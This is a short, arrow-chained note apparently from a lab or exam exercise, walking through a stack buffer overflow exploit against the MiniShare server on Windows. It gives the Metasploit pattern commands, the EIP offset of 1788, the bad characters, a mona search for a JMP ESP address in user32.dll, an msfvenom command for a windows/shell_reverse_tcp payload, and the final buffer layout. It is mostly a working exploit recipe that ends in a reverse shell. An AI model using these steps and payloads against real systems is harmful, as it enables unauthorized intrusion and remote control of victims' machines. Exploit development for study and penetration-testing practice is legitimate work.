Run the minishare server in the windows machine -> fuzz the application to crash -> we found it crashed in 2000 bytes -> then we need to check the offset -> actual value ->
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000 -> create a pattern -> then run the code in to python -> then we found the EIp value -> 43366843 -> now need to check the offset -> /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 43366843 -> pattern value we got 1788 -> now run the code with this offset code and check the application is crashed or not -> after crashing we need to check the bad character -> remove the bad character -> ESP Follow dump -> after got bad character \x00\x0d-> we need jmp esp value -> we will use mona module for this -> !mona modules -> check the DEP and ASLR False -> then pick this otherwise use mona command -> !mona find -s "\xff\xe4" -m user32.dll -> pick 1st one and reverse it ->7603B503 # Address retrieved from Mona results -> \x03\xB5\x03\x76 # How it looks in your final exploit -> now create a shell code -> msfvenom -a x86 -platform Windows -p windows/shell_reverse_tcp LHOST=ip LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00\x0d’ -f python -> add shell code in to python code and maintain the buffere value -> buffer+="A" * 1788 + "\x03\xB5\x03\x76" + "C" * 16 + buf -> run it -> boom